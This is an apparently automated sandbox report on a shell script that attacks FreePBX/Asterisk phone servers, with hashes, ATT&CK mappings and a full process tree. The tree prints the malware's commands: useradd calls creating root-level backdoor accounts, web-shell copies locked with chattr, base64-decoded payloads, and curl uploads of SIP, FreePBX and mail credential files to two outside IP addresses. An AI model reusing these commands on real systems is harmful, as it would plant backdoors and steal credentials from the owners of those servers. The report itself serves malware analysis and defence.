2ec961162dd43e87b68abf63977c983d5c4a8dcd77caa399faa72914734d022b

Analysis

max time kernel
4s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/07/2026, 13:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 48KB
Sample260730-qlgrhaswfs
SHA256 2ec961162dd43e87b68abf63977c983d5c4a8dcd77caa399faa72914734d022b
MD5 b68f0c79ebdbed24318e1e151dff026a
SHA1 f638faf3e939f3e61075478fdabb92f1604e539f
SHA512 50165dd7d5ef6fe3be238d9310146a2569d088b32d2b7d8711935607d1f9fb01f920170fd8ac43a8c84d3f2fad26017d716c0964cdbdc99f1277ac828cd663a1
SSDEEP 768:w+e9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnS:w+Lcr
TLSH
T158235C6516857C24AE98C4361C7E2F0CB9AD43E6324452EE7FCB3CF68C4A69DD10971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1528	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
1482	useradd
1492	useradd
1505	useradd
1509	useradd

Deobfuscate/Decode Files or Information 1 TTPs 9 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1580	base64
1478	base64
1507	base64
1559	base64
1490	base64
1503	base64
1534	base64
1544	base64
1549	base64

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1562	curl
1574	curl
1582	curl
1586	curl
1587	curl
1561	curl
1567	curl
1573	curl
1583	curl
1593	curl
1594	curl
1564	curl
1566	curl
1568	curl
1569	curl
1575	curl
1585	curl
1588	curl
1589	curl
1595	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	k.php.sh

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
- Writes file to tmp directory
PID:1473
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:1476
- /bin/bash
  bash
  2⤵
  PID:1479
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:1482
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:1483
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:1484
  - - /sbin/pam_tally2
      pam_tally2 --user newfpbx --reset --quiet
      4⤵
      PID:1485
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:1486
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:1487
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1478
- /bin/bash
  bash
  2⤵
  PID:1491
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:1492
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:1497
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:1498
  - - /sbin/pam_tally2
      pam_tally2 --user xhimax --reset --quiet
      4⤵
      PID:1499
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:1500
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:1501
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1490
- /bin/bash
  bash
  2⤵
  PID:1504
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1505
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1503
- /bin/bash
  bash
  2⤵
  PID:1508
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:1509
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1507
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:1510
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:1511
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:1512
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:1513
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:1514
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:1515
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  - Reads runtime system information
  PID:1516
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:1517
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:1518
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:1519
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  - Reads runtime system information
  PID:1520
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  - Reads runtime system information
  PID:1521
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  - Reads runtime system information
  PID:1522
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  - Reads runtime system information
  PID:1523
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:1524
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:1525
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:1529
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:1530
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:1531
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:1532
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1534
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:1535
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1538
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1539
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1540
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:1541
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:1542
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1544
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:1545
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:1546
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1547
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1549
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1550
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1551
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1552
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:1553
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:1556
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:1557
- /bin/bash
  bash
  2⤵
  PID:1560
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1561
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1562
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1563
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1564
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1566
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1567
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1568
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1569
- - /usr/bin/curl
    curl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1570
- - /usr/bin/curl
    curl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1571
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1572
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1573
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1574
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1575
- - /usr/bin/curl
    curl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1576
- - /usr/bin/curl
    curl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1577
- - /usr/bin/curl
    curl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    PID:1578
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1559
- /bin/bash
  bash
  2⤵
  PID:1581
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1582
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1583
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1584
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1585
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1586
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1587
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1588
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1589
- - /usr/bin/curl
    curl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1590
- - /usr/bin/curl
    curl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1591
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1592
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1593
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1594
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - System Network Configuration Discovery
    PID:1595
- - /usr/bin/curl
    curl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1596
- - /usr/bin/curl
    curl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1597
- - /usr/bin/curl
    curl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    PID:1598
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 2KB
SHA256 e654d1d250f09f2ab363439c2efedd3a68f22cca525b349706d57bfe41ac940e
MD5 f481a228c9fa584ce76126afccccf906
SHA1 0924462083f54cc383196bfee7f13ca1c63a2dfc
SHA512 aac5734f43a2fbc4a8ccb508327492abaffd9da0ed1d57eb00ffb0434b98b2f2e496da186c692f1bc8673292b6f626129241a896db0c34bdad84adc3d3ddafc5
TLSH
T195513721036D94BCECC1E999012B6F9414DC78E00A7EFA2DD87BB550ECCA27D26A8974
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 2KB
SHA256 139ba9f8f84a68d215d5634c54f56119dff64b4d92bb4d7d981acb35e4d6551d
MD5 383ea586ec33a9a904c6247a2ce14a5c
SHA1 37b3dd0be9d70663f0a027d7417dcfba006769c9
SHA512 69e13019c5f8f868a4d6f25ce20b7aa034af2c50b4a60dadc32d75d917dae0e5b734905f2d6c71c1f08b5bf9f8753a7f398324021ed4a6735f2ecb71e27742ad
TLSH
T179514921032D94BCEDC1E999012B5F9414DC78E00A7DFA2DD87BB551ECCA27D2298974
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 1KB
SHA256 f5fcb0c13afab512f715e564d6a4d6979067be223b686e875b58eae2589ef9ac
MD5 169406308d88e5895db3ca520392556a
SHA1 31c99a97b3e7e32c6ee519068078c1fdef558321
SHA512 7c3e77948c9931e38fe0ab3188f7c90ec1e3c2ccfa0bd50b928e13343b0bdd681b04ca7a965a0de7efe4a66e0cf468a7521f3f590283bff19aa17c9927689e76
TLSH
T1EA216E90A37EBCC582E145DD62C10094D6EE6D380294C186C896CA375CF4BEA080DCB7
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 1KB
SHA256 a8a9c713734566b2f542d944501f8ab2c875ae3d7cab30ec746000d95592c31b
MD5 c7205197a545f74f353fafb92161a3b0
SHA1 294f2cbe30fff20829f21ec01f4be332af25e8a3
SHA512 5c06cd2405f8259f75f1ca91b9672f5d060516894da627940e1a2b2c211931deb7bcc2387a4b341ac7e12c56acea301669f98dddbb8f94940146dbd6b2e57649
TLSH
T13F215C90A37FBCC582E141DD62D20094D6EE6D380295C187C897CA375DF8BDA050DCB7
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads